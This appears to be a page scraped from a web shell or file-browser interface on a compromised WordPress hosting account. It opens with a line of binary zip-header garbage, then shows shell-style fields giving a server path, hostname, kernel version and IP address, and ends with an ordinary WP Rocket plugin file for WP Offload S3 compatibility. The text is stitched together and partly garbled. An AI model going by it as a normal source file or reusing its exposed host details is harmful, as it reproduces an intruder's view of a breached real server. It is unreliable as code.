PK œqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /home/trave494/buynrentph.com/wp-content/plugins/wp-rocket/inc/3rd-party/plugins/
Server: Linux ngx353.inmotionhosting.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
IP: 209.182.202.254
Choose File :

Url:
Dir : //home/trave494/buynrentph.com/wp-content/plugins/wp-rocket/inc/3rd-party/plugins/wp-offload-s3.php

<?php

defined( 'ABSPATH' ) || exit;

if ( is_admin() && ( function_exists( 'as3cf_init' ) || function_exists( 'as3cf_pro_init' ) ) ) :
	add_action( 'aws_init', 'rocket_as3cf_compatibility', 12 );
endif;


/**
 * Compatibility with WP Offload S3.
 *
 * @since 2.10.7
 * @author Remy Perona
 */
function rocket_as3cf_compatibility() {
	global $as3cf;

	if ( isset( $as3cf ) && $as3cf->is_plugin_setup() && 1 === (int) $as3cf->get_setting( 'serve-from-s3' ) ) {
			// Remove images option from WP Rocket CDN dropdown settings.
			add_filter( 'rocket_allow_cdn_images', '__return_false' );
	}
}